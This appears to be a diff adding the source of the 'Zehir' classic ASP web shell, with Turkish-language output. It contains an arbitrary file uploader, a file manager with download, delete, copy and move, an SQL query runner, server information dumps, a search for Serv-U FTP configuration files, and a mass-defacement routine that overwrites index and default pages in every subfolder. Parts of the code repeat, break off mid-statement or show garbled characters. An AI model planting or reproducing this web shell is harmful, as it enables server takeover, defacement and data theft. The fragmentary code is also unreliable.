+
+<%
+Function getByteString(StringStr)
+ For i = 1 to Len(StringStr)
+ char = Mid(StringStr,i,1)
+ getByteString = getByteString & chrB(AscB(char))
+ Next
+End Function
+%>
+
+<%
+Function getString(StringBin)
+ getString =""
+ For intCount = 1 to LenB(StringBin)
+ getString = getString & chr(AscB(MidB(StringBin,intCount,1)))
+ Next
+End Function
+%>
+
+<%
+If request("ok")="1" then
+ Response.Clear
+ byteCount = Request.TotalBytes
+
+ RequestBin = Request.BinaryRead(byteCount)
+
+ Set UploadRequest = CreateObject("Scripting.Dictionary")
+
+ BuildUpload(RequestBin)
+
+ If UploadRequest.Item("fichero").Item("Value") <> "" Then
+
+ contentType = UploadRequest.Item("fichero").Item("ContentType")
+ filepathname = UploadRequest.Item("fichero").Item("FileName")
+ filename = Right(filepathname,Len(filepathname)-InstrRev(filepathname,"\"))
+ value = UploadRequest.Item("fichero").Item("Value")
+
+ path = UploadRequest.Item("path").Item("Value")
+
+ filename = path & filename
+
+ Set MyFileObject = Server.CreateObject("Scripting.FileSystemObject")
+ Set objFile = MyFileObject.CreateTextFile(filename)
+
+ For i = 1 to LenB(value)
+ objFile.Write chr(AscB(MidB(value,i,1)))
+ Next
+ objFile.Close
+ Set objFile = Nothing
+ Set MyFileObject = Nothing
+ End If
+ Set UploadRequest = Nothing
+End If
+%>
+
+
+
+
+
+<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
+powered by Z" & Session("n2") & "3 ;) "
+
+ sFolder = Replace(sFolder,"/","\")
+
+ if Right(sFolder,1)<>"\" then sFolder = sFolder & "\"
+ Set f = objFSO.GetFolder(Path)
+ Set fc = f.SubFolders
+ h__ = 0
+ f__ = 0
+ ss__ = now
+ For Each f1 In fc
+ hedef_ = replace(f1.path,"/","\")
+ if Right(hedef_,1)<>"\" then hedef_ = hedef_ & "\"
+ hedef__ = left(hedef_,len(hedef_)-1)
+ folderName_ = Right(hedef__, len(hedef__)-instrrev(hedef__,"\"))
+ if d1<>"" then d1 = true
+ if d2<>"" then d2 = true
+ if d3<>"" then d3 = true
+ if d4<>"" then d4 = true
+ on error goto 0:on error resume next
+ if fName<>"" then
+ Set MyFile = objFSO.CreateTextFile(hedef_ & sFolder & fName, True)
+ MyFile.write byMesaj
+ end if
+ if d1 then
+ Set MyFile = objFSO.CreateTextFile(hedef_ & sFolder & "index.htm", True)
+ MyFile.write byMesaj
+ end if
+ if d2 then
+ Set MyFile = objFSO.CreateTextFile(hedef_ & sFolder & "default.htm", True)
+ MyFile.write byMesaj
+ end if
+ if d3 then
+ Set MyFile = objFSO.CreateTextFile(hedef_ & sFolder & "index.asp", True)
+ MyFile.write byMesaj
+ end if
+ if d4 then
+ Set MyFile = objFSO.CreateTextFile(hedef_ & sFolder & "default.asp", True)
+ MyFile.write byMesaj
+ end if
+
+ if err<>0 then
+ response.Write folderName_ & " [FAILED!] [HACKED] by zehir!... Sonuc : Toplam S�re : "&left(ss__-ss___,5)&"sn. ;)Hacked = "&h__&"Failed = "&f__
+ response.End
+end if
+
+status = Request("status")
+path = Request("path")
+dPath = Request("dPath")
+arama = Request("txArama")
+dkayit = Request("dkayit")
+table = Request("table")
+del = Request("del")
+islem = Request("islem")
+strSQL = Request("strSQL")
+cf = Request("cf")
+pathfile = request("pathfile")
+if path="" then path=request.servervariables("APPL_PHYSICAL_PATH")
+if status="" then status=2
+popup = true
+'////////////////////////////////
+Function ReadBinaryFile(FileName)
+ Const adTypeBinary = 1
+ Dim BinaryStream
+ Set BinaryStream = CreateObject("ADODB.Stream")
+ BinaryStream.Type = adTypeBinary
+ BinaryStream.Open
+ BinaryStream.LoadFromFile FileName
+ ReadBinaryFile = BinaryStream.Read
+End Function
+if status="-3" then
+ Response.Buffer=True
+ Set Fil = objFSO.GetFile(pathfile)
+
+ Response.contenttype="application/force-download"
+ Response.AddHeader "Cache-control","private"
+ Response.AddHeader "Content-Length", Fil.Size
+ Response.AddHeader "Content-Disposition", "attachment; filename=" & Fil.name
+
+ Response.BinaryWrite readBinaryFile(Fil.path)
+ Set f = Nothing: Set Fil = Nothing
+ response.End()
+end if
+'//////////////////////////////////
+if status="-4" then popup=false
+if status="13" then popup=false
+if status="14" then popup=false
+if status="15" then popup=false
+if status="16" then popup=false
+if status="17" then popup=false
+if status="18" then popup=false
+if status="19" then popup=false
+if status="33" then popup=false
+if status="40" then popup=false
+if status="50" then popup=false
+byMsg = request.QueryString("byMsg")
+if byMsg<>"" then response.Write byMsg
+response.Write "[AhmetDeniz.Org] ZehirIV --> powered by zehir <zehirhacker@hotmail.com> "
+if popup then
+%>
+
+System Info
+ |
+System Test
+ |
+Sites Test
+ |
+Folder Action
+ |
+SQL Server
+ |
+POWERED BY
+
+<%
+end if
+'####################################
+Class clsUpload
+ Private mbinData
+ Private mlngChunkIndex
+ Private mlngBytesReceived
+ Private mstrDelimiter
+ Private CR
+ Private LF
+ Private CRLF
+ Private mobjFieldAry()
+ Private mlngCount
+
+ Private Sub RequestData
+ Dim llngLength
+ mlngBytesReceived = Request.TotalBytes
+ mbinData = Request.BinaryRead(mlngBytesReceived)
+ End Sub
+
+ Private Sub ParseDelimiter()
+ mstrDelimiter = MidB(mbinData, 1, InStrB(1, mbinData, CRLF) - 1)
+ End Sub
+
+ Private Sub ParseData()
+ Dim llngStart
+ Dim llngLength
+ Dim llngEnd
+ Dim lbinChunk
+ llngStart = 1
+ llngStart = InStrB(llngStart, mbinData, mstrDelimiter & CRLF)
+ While Not llngStart = 0
+ llngEnd = InStrB(llngStart + 1, mbinData, mstrDelimiter) - 2
+ llngLength = llngEnd - llngStart
+ lbinChunk = MidB(mbinData, llngStart, llngLength)
+ Call ParseChunk(lbinChunk)
+ llngStart = InStrB(llngStart + 1, mbinData, mstrDelimiter & CRLF)
+ Wend
+ End Sub
+
+ Private Sub ParseChunk(ByRef pbinChunk)
+ Dim lstrName
+ Dim lstrFileName
+ Dim lstrContentType
+ Dim lbinData
+ Dim lstrDisposition
+ Dim lstrValue
+ lstrDisposition = ParseDisposition(pbinChunk)
+ lstrName = ParseName(lstrDisposition)
+ lstrFileName = ParseFileName(lstrDisposition)
+ lstrContentType = ParseContentType(pbinChunk)
+ If lstrContentType = "" Then
+ lstrValue = CStrU(ParseBinaryData(pbinChunk))
+ Else
+ lbinData = ParseBinaryData(pbinChunk)
+ End If
+ Call AddField(lstrName, lstrFileName, lstrContentType, lstrValue, lbinData)
+ End Sub
+
+ Private Sub AddField(ByRef pstrName, ByRef pstrFileName, ByRef pstrContentType, ByRef pstrValue, ByRef pbinData)
+ Dim lobjField
+ ReDim Preserve mobjFieldAry(mlngCount)
+ Set lobjField = New clsField
+ lobjField.Name = pstrName
+ lobjField.FilePath = pstrFileName
+ lobjField.ContentType = pstrContentType
+ If LenB(pbinData) = 0 Then
+ lobjField.BinaryData = ChrB(0)
+ lobjField.Value = pstrValue
+ lobjField.Length = Len(pstrValue)
+ Else
+ lobjField.BinaryData = pbinData
+ lobjField.Length = LenB(pbinData)
+ lobjField.Value = ""
+ End If
+ Set mobjFieldAry(mlngCount) = lobjField
+ mlngCount = mlngCount + 1
+ End Sub
+
+ Private Function ParseBinaryData(ByRef pbinChunk)
+ Dim llngStart
+ llngStart = InStrB(1, pbinChunk, CRLF & CRLF)
+ If llngStart = 0 Then Exit Function
+ llngStart = llngStart + 4
+ ParseBinaryData = MidB(pbinChunk, llngStart)
+ End Function
+
+ Private Function ParseContentType(ByRef pbinChunk)
+ Dim llngStart
+ Dim llngEnd
+ Dim llngLength
+ llngStart = InStrB(1, pbinChunk, CRLF & CStrB("Content-Type:"), vbTextCompare)
+ If llngStart = 0 Then Exit Function
+ llngEnd = InStrB(llngStart + 15, pbinChunk, CR)
+ If llngEnd = 0 Then Exit Function
+ llngStart = llngStart + 15
+ If llngStart >= llngEnd Then Exit Function
+ llngLength = llngEnd - llngStart
+ ParseContentType = Trim(CStrU(MidB(pbinChunk, llngStart, llngLength)))
+ End Function
+
+ Private Function ParseDisposition(ByRef pbinChunk)
+ Dim llngStart
+ Dim llngEnd
+ Dim llngLength
+ llngStart = InStrB(1, pbinChunk, CRLF & CStrB("Content-Disposition:"), vbTextCompare)
+ If llngStart = 0 Then Exit Function
+ llngEnd = InStrB(llngStart + 22, pbinChunk, CRLF)
+ If llngEnd = 0 Then Exit Function
+ llngStart = llngStart + 22
+ If llngStart >= llngEnd Then Exit Function
+ llngLength = llngEnd - llngStart
+ ParseDisposition = CStrU(MidB(pbinChunk, llngStart, llngLength))
+ End Function
+
+ Private Function ParseName(ByRef pstrDisposition)
+ Dim llngStart
+ Dim llngEnd
+ Dim llngLength
+ llngStart = InStr(1, pstrDisposition, "name=""", vbTextCompare)
+ If llngStart = 0 Then Exit Function
+ llngEnd = InStr(llngStart + 6, pstrDisposition, """")
+ If llngEnd = 0 Then Exit Function
+ llngStart = llngStart + 6
+ If llngStart >= llngEnd Then Exit Function
+ llngLength = llngEnd - llngStart
+ ParseName = Mid(pstrDisposition, llngStart, llngLength)
+ End Function
+' ------------------------------------------------------------------------------
+ Private Function ParseFileName(ByRef pstrDisposition)
+ Dim llngStart
+ Dim llngEnd
+ Dim llngLength
+ llngStart = InStr(1, pstrDisposition, "filename=""", vbTextCompare)
+ If llngStart = 0 Then Exit Function
+ llngEnd = InStr(llngStart + 10, pstrDisposition, """")
+ If llngEnd = 0 Then Exit Function
+ llngStart = llngStart + 10
+ If llngStart >= llngEnd Then Exit Function
+ llngLength = llngEnd - llngStart
+ ParseFileName = Mid(pstrDisposition, llngStart, llngLength)
+ End Function
+
+ Public Property Get Count()
+ Count = mlngCount
+ End Property
+
+ Public Default Property Get Fields(ByVal pstrName)
+ Dim llngIndex
+ If IsNumeric(pstrName) Then
+ llngIndex = CLng(pstrName)
+ If llngIndex > mlngCount - 1 Or llngIndex < 0 Then
+ Call Err.Raise(vbObjectError + 1, "clsUpload.asp", "Object does not exist within the ordinal reference.")
+ Exit Property
+ End If
+ Set Fields = mobjFieldAry(pstrName)
+ Else
+ pstrName = LCase(pstrname)
+ For llngIndex = 0 To mlngCount - 1
+ If LCase(mobjFieldAry(llngIndex).Name) = pstrName Then
+ Set Fields = mobjFieldAry(llngIndex)
+ Exit Property
+ End If
+ Next
+ End If
+ Set Fields = New clsField
+ End Property
+
+ Private Sub Class_Terminate()
+ Dim llngIndex
+ For llngIndex = 0 To mlngCount - 1
+ Set mobjFieldAry(llngIndex) = Nothing
+
+ Next
+ ReDim mobjFieldAry(-1)
+ End Sub
+
+ Private Sub Class_Initialize()
+ ReDim mobjFieldAry(-1)
+ CR = ChrB(Asc(vbCr))
+ LF = ChrB(Asc(vbLf))
+ CRLF = CR & LF
+ mlngCount = 0
+ Call RequestData
+ Call ParseDelimiter()
+ Call ParseData
+ End Sub
+
+ Private Function CStrU(ByRef pstrANSI)
+ Dim llngLength
+ Dim llngIndex
+ llngLength = LenB(pstrANSI)
+ For llngIndex = 1 To llngLength
+ CStrU = CStrU & Chr(AscB(MidB(pstrANSI, llngIndex, 1)))
+ Next
+ End Function
+
+ Private Function CStrB(ByRef pstrUnicode)
+ Dim llngLength
+ Dim llngIndex
+ llngLength = Len(pstrUnicode)
+ For llngIndex = 1 To llngLength
+ CStrB = CStrB & ChrB(Asc(Mid(pstrUnicode, llngIndex, 1)))
+ Next
+ End Function
+End Class
+'####################################
+Session("n1") = "byZ"
+Class clsField
+ Public Name
+ Private mstrPath
+ Public FileDir
+ Public FileExt
+ Public FileName
+ Public ContentType
+ Public Value
+ Public BinaryData
+ Public Length
+ Private mstrText
+
+ Public Property Get BLOB()
+ BLOB = BinaryData
+ End Property
+
+ Public Function BinaryAsText()
+ Dim lbinBytes
+ Dim lobjRs
+ If Length = 0 Then Exit Function
+ If LenB(BinaryData) = 0 Then Exit Function
+
+ If Not Len(mstrText) = 0 Then
+ BinaryAsText = mstrText
+ Exit Function
+ End If
+ lbinBytes = ASCII2Bytes(BinaryData)
+ mstrText = Bytes2Unicode(lbinBytes)
+ BinaryAsText = mstrText
+ End Function
+
+ Public Sub SaveAs(ByRef pstrFileName)
+ Const adTypeBinary=1
+ Const adSaveCreateOverWrite=2
+ Dim lobjStream
+ Dim lobjRs
+ Dim lbinBytes
+ If Length = 0 Then Exit Sub
+ If LenB(BinaryData) = 0 Then Exit Sub
+ Set lobjStream = Server.CreateObject("ADODB.Stream")
+ lobjStream.Type = adTypeBinary
+ Call lobjStream.Open()
+ lbinBytes = ASCII2Bytes(BinaryData)
+ Call lobjStream.Write(lbinBytes)
+
+ On Error Resume Next
+
+ Call lobjStream.SaveToFile(pstrFileName, adSaveCreateOverWrite)
+
+ 'if err<>0 then response.Write "uploaded " else gMsg = gMsg & "failed! "
+ end if
+ next
+ response.Write gMsg
+ set objUpload=nothing
+
+end sub
+
+if status="-4" then
+ Upload()
+' hataKontrol
+ popup=false
+end if
+'////////////////////////////////
+sub hataKontrol
+ if err<>0 then
+ Response.Write "Hata : "&err.Description&" "
+ end if
+end sub
+
+sub araBul(path_,ara_)
+ on error resume next
+ If Len(path_) > 0 Then
+ cur = path_&"\"
+ If cur = "\\" Then cur = ""
+ parent = ""
+ If InStrRev(cur,"\") > 0 Then
+ parent = Left(cur, InStrRev(cur, "\", Len(cur)-1))
+ End If
+ Else
+ cur = ""
+ End If
+
+ Set f = objFSO.GetFolder(cur)
+
+ Set fc = f.Files
+ For Each f1 In fc
+ if lcase(InStr(1,f1.name,lcase(ara_)))>0 then
+ downStr = "� � "&f1.path&" ["&f1.size&"]"&" � ! "&f1.path&" ["&f1.size&"]"&" "
+ response.Write "Konum Sonu�
"
+end sub
+
+sub servu_Test
+ dosya_ = Array("Program Files\Serv-u\Serv-u.ini", "Program Files\Serv-u\Serv-u daemon.ini", "Serv-u\Serv-u.ini", "Serv-u\Serv-u daemon.ini")
+ for each drive_ in objFSO.Drives
+ if drive_.Drivetype=2 or drive_.Drivetype=3 then
+ for each d_ in dosya_
+ d_ = drive_.DriveLetter&":\"&d_
+ if objFSO.FileExists(d_) then
+ response.Write "Serv-U ini file : "&d_&" "
+ set MyFile = Nothing
+ if err<>0 then
+ sonuc__="Yazma Hakk� Yok! "
+ else
+ sonuc__="Yazma Hakk� Var! "
+ on error goto 0: on error resume next
+ objFSO.DeleteFile yol & "\test.zehir",true
+ if err<>0 then
+ sonuc__=sonuc__&"Silme Hakk� Yok! "
+ else
+ sonuc__=sonuc__&"Silme Hakk� Var! "
+ end if
+ end if
+ yaziyomu = sonuc__
+end function
+
+function yaziyomu2(yol)
+ on error goto 0:on error resume next
+ Set MyFile = objFSO.CreateTextFile(yol & "\test.zehir", True)
+ MyFile.write "byzehir "
+ set MyFile = Nothing
+ if err<>0 then
+ yaziyomu2 = false
+ else
+ objFSO.DeleteFile yol & "\test.zehir"
+ yaziyomu2 = true
+ end if
+end function
+
+sub WriteTestOnDriver
+ for each drive_ in objFSO.Drives
+ if drive_.Drivetype=2 or drive_.Drivetype=3 then
+ if not yaziyomu2(drive_.DriveLetter&":\") then
+ Response.Write ""&drive_.DriveLetter&":\ yazma yetkisi yok! : ["&err.Description&"] "&drive_.DriveLetter&":\ yazma yetkisi var! Local Path yazma yetkisi yok! : ["&err.Description&"] Local Path yazma yetkisi var! Local Path Hata Olu�tu : ["&err.Description&"] Local Path Folder : "&FormatNumber(int_fol,0)&" Local Path Data �st Klasor Yok :) Local Path Hata Olu�tu : ["&err.Description&"] Local Path Folder : "&FormatNumber(int_fol,0)&" : Sistem Bilgileri : Local Adres " & request.servervariables("REMOTE_ADDR") & " User Agent " & request.servervariables("HTTP_USER_AGENT") & " Server " & request.servervariables("SERVER_NAME") & " IP " & request.servervariables("LOCAL_ADDR") & " HTTPD " & request.servervariables("SERVER_SOFTWARE") & " Port " & request.servervariables("SERVER_PORT") & " Yol " & request.servervariables("APPL_PHYSICAL_PATH") & " Log Root " & request.servervariables("APPL_MD_PATH") & " HTTPS " & request.servervariables("HTTPS") & "
"
+ popup = false
+CASE 14 'Upload and Search
+ aramaUpload
+ popup = false
+ hataKontrol
+CASE 15 'Ms. SQL Server
+ Response.Write ""
+
+ popup = false
+ hataKontrol
+CASE 16 'file Copy window
+ Response.Write ""
+
+ popup = false
+ hataKontrol
+CASE 17 'file Copy
+ isl = ""
+ if islem="kopyala" then
+ objFSO.CopyFile path,cf
+ isl="kopyaland�.."
+ elseif islem="tasi" then
+ objFSO.MoveFile path,cf
+ isl="ta��nd�.."
+ end if
+ response.Write "Dosya "&isl
+ response.Write "Kaynak : "&path&"Hedef : "&cf
+ response.Write "Kaynak : "&path&"Hedef : "&cf
+ response.Write "Powered by Zehir"
+ response.Write "zehirhacker@hotmail.comk�ll� nefsun zaifetun mevt"
+ popup = false
+ hataKontrol
+CASE 40 'Sistem Test
+ sistemTest
+ popup=false
+CASE 50 'Siteleri Test Edelim :D
+ %>
+
+
+
+ G�venlik Testi byZehir
+
+
+
+ <%
+ popup=false
+CASE 51 ' �zel �ilemler
+END SELECT
+%>
+
+
+<%
+if popup then
+ if status=7 or status=8 then
+ Response.Write ""
+ end if
+ Response.Write ""
+ Path = Path & ":/"
+ Response.Write ""
+ KlasorOku
+ Response.Write " "
+ DosyaOku
+ Response.Write " "
+ hataKontrol
+CASE 2 'Normal listeleme
+ if len(path)=1 then Response.Write (yaziyomu(path&":\")) else Response.Write (yaziyomu(path))
+ Response.Write ""
+ Response.Write ""
+ KlasorOku
+ Response.Write " "
+ DosyaOku
+ Response.Write " "
+ hataKontrol
+CASE 3 'File Delete
+ objFSO.DeleteFile del
+ hataKontrol
+ if err<>0 then
+ byMsg="Not File Deleted! File Deleted Successful;) Not Folder Deleted! Folder Deleted Successful;) "&path&" "
+ set f = objFSO.OpenTextFile(path,1)
+ Response.Write ""&Server.HTMLEncode(f.readAll)&" "
+ if err<>62 then hataKontrol
+ if err.number=62 then Response.Write "":Response.End
+CASE 6 'Resim a�
+ Response.Write "Tablolar 4 "&table.Name&" "
+ for i=0 to objRcs.Fields.count-1
+ Response.Write " "&objRcs.Fields(i).Name&" "
+ do while not objRcs.EOF
+ Response.Write ""
+ for i=0 to objRcs.Fields.count-1
+ Response.Write ""&objRcs.Fields(i).Value&" "
+ next
+ Response.Write " "
+ objRcs.MoveNext
+ loop
+ Response.Write "
Not File Edited! File Edited Successful:)
"
+
+sub DosyaOku
+ Set f = objFSO.GetFolder(Path)
+ Set fc = f.Files
+ For Each f1 In fc
+ dosyaAdi = f1.name
+ num = InStrRev(dosyaAdi,".")
+ uzanti = lcase(Right(dosyaAdi,len(dosyaAdi)-num))
+ downStr = "� � 4 "
+ select case uzanti
+ case "mdb"
+ Response.Write ""&f1.name&" ["&FormatNumber(f1.size,0)&" ]"&" M "&downStr&" "&f1.name&" ["&FormatNumber(f1.size,0)&" ]"&" � ! "&downStr&" "&f1.name&" ["&FormatNumber(f1.size,0)&" ]"&" � "&downStr&" "&f1.name&" ["&FormatNumber(f1.size,0)&" ]"&" 2 ! "&downStr&" 4 � 1"&f1.name&" HACKED " & Session("n2") & "3 ;) "
+
+ sFolder = Replace(sFolder,"/","\")
+
+ if Right(sFolder,1)<>"\" then sFolder = sFolder & "\"
+ Set f = objFSO.GetFolder(Path)
+ Set fc = f.SubFolders
+ h__ = 0
+ f__ = 0
+ ss__ = now
+ For Each f1 In fc
+ hedef_ = replace(f1.path,"/","\")
+ if Right(hedef_,1)<>"\" then hedef_ = hedef_ & "\"
+ hedef__ = left(hedef_,len(hedef_)-1)
+ folderName_ = Right(hedef__, len(hedef__)-instrrev(hedef__,"\"))
+ if d1<>"" then d1 = true
+ if d2<>"" then d2 = true
+ if d3<>"" then d3 = true
+ if d4<>"" then d4 = true
+ on error goto 0:on error resume next
+ if fName<>"" then
+ Set MyFile = objFSO.CreateTextFile(hedef_ & sFolder & fName, True)
+ MyFile.write byMesaj
+ end if
+ if d1 then
+ Set MyFile = objFSO.CreateTextFile(hedef_ & sFolder & "index.htm", True)
+ MyFile.write byMesaj
+ end if
+ if d2 then
+ Set MyFile = objFSO.CreateTextFile(hedef_ & sFolder & "default.htm", True)
+ MyFile.write byMesaj
+ end if
+ if d3 then
+ Set MyFile = objFSO.CreateTextFile(hedef_ & sFolder & "index.asp", True)
+ MyFile.write byMesaj
+ end if
+ if d4 then
+ Set MyFile = objFSO.CreateTextFile(hedef_ & sFolder & "default.asp", True)
+ MyFile.write byMesaj
+ end if
+
+ if err<>0 then
+ response.Write folderName_ & " [FAILED!] [HACKED] by zehir!... Sonuc : Toplam S�re : "&left(ss__-ss___,5)&"sn. ;)Hacked = "&h__&"Failed = "&f__
+ response.End
+end if
+
+status = Request("status")
+path = Request("path")
+dPath = Request("dPath")
+arama = Request("txArama")
+dkayit = Request("dkayit")
+table = Request("table")
+del = Request("del")
+islem = Request("islem")
+strSQL = Request("strSQL")
+cf = Request("cf")
+pathfile = request("pathfile")
+if path="" then path=request.servervariables("APPL_PHYSICAL_PATH")
+if status="" then status=2
+popup = true
+'////////////////////////////////
+Function ReadBinaryFile(FileName)
+ Const adTypeBinary = 1
+ Dim BinaryStream
+ Set BinaryStream = CreateObject("ADODB.Stream")
+ BinaryStream.Type = adTypeBinary
+ BinaryStream.Open
+ BinaryStream.LoadFromFile FileName
+ ReadBinaryFile = BinaryStream.Read
+End Function
+if status="-3" then
+ Response.Buffer=True
+ Set Fil = objFSO.GetFile(pathfile)
+
+ Response.contenttype="application/force-download"
+ Response.AddHeader "Cache-control","private"
+ Response.AddHeader "Content-Length", Fil.Size
+ Response.AddHeader "Content-Disposition", "attachment; filename=" & Fil.name
+
+ Response.BinaryWrite readBinaryFile(Fil.path)
+ Set f = Nothing: Set Fil = Nothing
+ response.End()
+end if
+'//////////////////////////////////
+if status="-4" then popup=false
+if status="13" then popup=false
+if status="14" then popup=false
+if status="15" then popup=false
+if status="16" then popup=false
+if status="17" then popup=false
+if status="18" then popup=false
+if status="19" then popup=false
+if status="33" then popup=false
+if status="40" then popup=false
+if status="50" then popup=false
+byMsg = request.QueryString("byMsg")
+if byMsg<>"" then response.Write byMsg
+response.Write "zehir3 --> powered by zehir <zehirhacker@hotmail.com> "
+if popup then
+%>
+
+System Info
+ |
+System Test
+ |
+Sites Test
+ |
+Folder Action
+ |
+SQL Server
+ |
+POWERED BY
+
+<%
+end if
+'####################################
+Class clsUpload
+ Private mbinData
+ Private mlngChunkIndex
+ Private mlngBytesReceived
+ Private mstrDelimiter
+ Private CR
+ Private LF
+ Private CRLF
+ Private mobjFieldAry()
+ Private mlngCount
+
+ Private Sub RequestData
+ Dim llngLength
+ mlngBytesReceived = Request.TotalBytes
+ mbinData = Request.BinaryRead(mlngBytesReceived)
+ End Sub
+
+ Private Sub ParseDelimiter()
+ mstrDelimiter = MidB(mbinData, 1, InStrB(1, mbinData, CRLF) - 1)
+ End Sub
+
+ Private Sub ParseData()
+ Dim llngStart
+ Dim llngLength
+ Dim llngEnd
+ Dim lbinChunk
+ llngStart = 1
+ llngStart = InStrB(llngStart, mbinData, mstrDelimiter & CRLF)
+ While Not llngStart = 0
+ llngEnd = InStrB(llngStart + 1, mbinData, mstrDelimiter) - 2
+ llngLength = llngEnd - llngStart
+ lbinChunk = MidB(mbinData, llngStart, llngLength)
+ Call ParseChunk(lbinChunk)
+ llngStart = InStrB(llngStart + 1, mbinData, mstrDelimiter & CRLF)
+ Wend
+ End Sub
+
+ Private Sub ParseChunk(ByRef pbinChunk)
+ Dim lstrName
+ Dim lstrFileName
+ Dim lstrContentType
+ Dim lbinData
+ Dim lstrDisposition
+ Dim lstrValue
+ lstrDisposition = ParseDisposition(pbinChunk)
+ lstrName = ParseName(lstrDisposition)
+ lstrFileName = ParseFileName(lstrDisposition)
+ lstrContentType = ParseContentType(pbinChunk)
+ If lstrContentType = "" Then
+ lstrValue = CStrU(ParseBinaryData(pbinChunk))
+ Else
+ lbinData = ParseBinaryData(pbinChunk)
+ End If
+ Call AddField(lstrName, lstrFileName, lstrContentType, lstrValue, lbinData)
+ End Sub
+
+ Private Sub AddField(ByRef pstrName, ByRef pstrFileName, ByRef pstrContentType, ByRef pstrValue, ByRef pbinData)
+ Dim lobjField
+ ReDim Preserve mobjFieldAry(mlngCount)
+ Set lobjField = New clsField
+ lobjField.Name = pstrName
+ lobjField.FilePath = pstrFileName
+ lobjField.ContentType = pstrContentType
+ If LenB(pbinData) = 0 Then
+ lobjField.BinaryData = ChrB(0)
+ lobjField.Value = pstrValue
+ lobjField.Length = Len(pstrValue)
+ Else
+ lobjField.BinaryData = pbinData
+ lobjField.Length = LenB(pbinData)
+ lobjField.Value = ""
+ End If
+ Set mobjFieldAry(mlngCount) = lobjField
+ mlngCount = mlngCount + 1
+ End Sub
+
+ Private Function ParseBinaryData(ByRef pbinChunk)
+ Dim llngStart
+ llngStart = InStrB(1, pbinChunk, CRLF & CRLF)
+ If llngStart = 0 Then Exit Function
+ llngStart = llngStart + 4
+ ParseBinaryData = MidB(pbinChunk, llngStart)
+ End Function
+
+ Private Function ParseContentType(ByRef pbinChunk)
+ Dim llngStart
+ Dim llngEnd
+ Dim llngLength
+ llngStart = InStrB(1, pbinChunk, CRLF & CStrB("Content-Type:"), vbTextCompare)
+ If llngStart = 0 Then Exit Function
+ llngEnd = InStrB(llngStart + 15, pbinChunk, CR)
+ If llngEnd = 0 Then Exit Function
+ llngStart = llngStart + 15
+ If llngStart >= llngEnd Then Exit Function
+ llngLength = llngEnd - llngStart
+ ParseContentType = Trim(CStrU(MidB(pbinChunk, llngStart, llngLength)))
+ End Function
+
+ Private Function ParseDisposition(ByRef pbinChunk)
+ Dim llngStart
+ Dim llngEnd
+ Dim llngLength
+ llngStart = InStrB(1, pbinChunk, CRLF & CStrB("Content-Disposition:"), vbTextCompare)
+ If llngStart = 0 Then Exit Function
+ llngEnd = InStrB(llngStart + 22, pbinChunk, CRLF)
+ If llngEnd = 0 Then Exit Function
+ llngStart = llngStart + 22
+ If llngStart >= llngEnd Then Exit Function
+ llngLength = llngEnd - llngStart
+ ParseDisposition = CStrU(MidB(pbinChunk, llngStart, llngLength))
+ End Function
+
+ Private Function ParseName(ByRef pstrDisposition)
+ Dim llngStart
+ Dim llngEnd
+ Dim llngLength
+ llngStart = InStr(1, pstrDisposition, "name=""", vbTextCompare)
+ If llngStart = 0 Then Exit Function
+ llngEnd = InStr(llngStart + 6, pstrDisposition, """")
+ If llngEnd = 0 Then Exit Function
+ llngStart = llngStart + 6
+ If llngStart >= llngEnd Then Exit Function
+ llngLength = llngEnd - llngStart
+ ParseName = Mid(pstrDisposition, llngStart, llngLength)
+ End Function
+' ------------------------------------------------------------------------------
+ Private Function ParseFileName(ByRef pstrDisposition)
+ Dim llngStart
+ Dim llngEnd
+ Dim llngLength
+ llngStart = InStr(1, pstrDisposition, "filename=""", vbTextCompare)
+ If llngStart = 0 Then Exit Function
+ llngEnd = InStr(llngStart + 10, pstrDisposition, """")
+ If llngEnd = 0 Then Exit Function
+ llngStart = llngStart + 10
+ If llngStart >= llngEnd Then Exit Function
+ llngLength = llngEnd - llngStart
+ ParseFileName = Mid(pstrDisposition, llngStart, llngLength)
+ End Function
+
+ Public Property Get Count()
+ Count = mlngCount
+ End Property
+
+ Public Default Property Get Fields(ByVal pstrName)
+ Dim llngIndex
+ If IsNumeric(pstrName) Then
+ llngIndex = CLng(pstrName)
+ If llngIndex > mlngCount - 1 Or llngIndex < 0 Then
+ Call Err.Raise(vbObjectError + 1, "clsUpload.asp", "Object does not exist within the ordinal reference.")
+ Exit Property
+ End If
+ Set Fields = mobjFieldAry(pstrName)
+ Else
+ pstrName = LCase(pstrname)
+ For llngIndex = 0 To mlngCount - 1
+ If LCase(mobjFieldAry(llngIndex).Name) = pstrName Then
+ Set Fields = mobjFieldAry(llngIndex)
+ Exit Property
+ End If
+ Next
+ End If
+ Set Fields = New clsField
+ End Property
+
+ Private Sub Class_Terminate()
+ Dim llngIndex
+ For llngIndex = 0 To mlngCount - 1
+ Set mobjFieldAry(llngIndex) = Nothing
+
+ Next
+ ReDim mobjFieldAry(-1)
+ End Sub
+
+ Private Sub Class_Initialize()
+ ReDim mobjFieldAry(-1)
+ CR = ChrB(Asc(vbCr))
+ LF = ChrB(Asc(vbLf))
+ CRLF = CR & LF
+ mlngCount = 0
+ Call RequestData
+ Call ParseDelimiter()
+ Call ParseData
+ End Sub
+
+ Private Function CStrU(ByRef pstrANSI)
+ Dim llngLength
+ Dim llngIndex
+ llngLength = LenB(pstrANSI)
+ For llngIndex = 1 To llngLength
+ CStrU = CStrU & Chr(AscB(MidB(pstrANSI, llngIndex, 1)))
+ Next
+ End Function
+
+ Private Function CStrB(ByRef pstrUnicode)
+ Dim llngLength
+ Dim llngIndex
+ llngLength = Len(pstrUnicode)
+ For llngIndex = 1 To llngLength
+ CStrB = CStrB & ChrB(Asc(Mid(pstrUnicode, llngIndex, 1)))
+ Next
+ End Function
+End Class
+'####################################
+Session("n1") = "by Ejder"
+Class clsField
+ Public Name
+ Private mstrPath
+ Public FileDir
+ Public FileExt
+ Public FileName
+ Public ContentType
+ Public Value
+ Public BinaryData
+ Public Length
+ Private mstrText
+
+ Public Property Get BLOB()
+ BLOB = BinaryData
+ End Property
+
+ Public Function BinaryAsText()
+ Dim lbinBytes
+ Dim lobjRs
+ If Length = 0 Then Exit Function
+ If LenB(BinaryData) = 0 Then Exit Function
+
+ If Not Len(mstrText) = 0 Then
+ BinaryAsText = mstrText
+ Exit Function
+ End If
+ lbinBytes = ASCII2Bytes(BinaryData)
+ mstrText = Bytes2Unicode(lbinBytes)
+ BinaryAsText = mstrText
+ End Function
+
+ Public Sub SaveAs(ByRef pstrFileName)
+ Const adTypeBinary=1
+ Const adSaveCreateOverWrite=2
+ Dim lobjStream
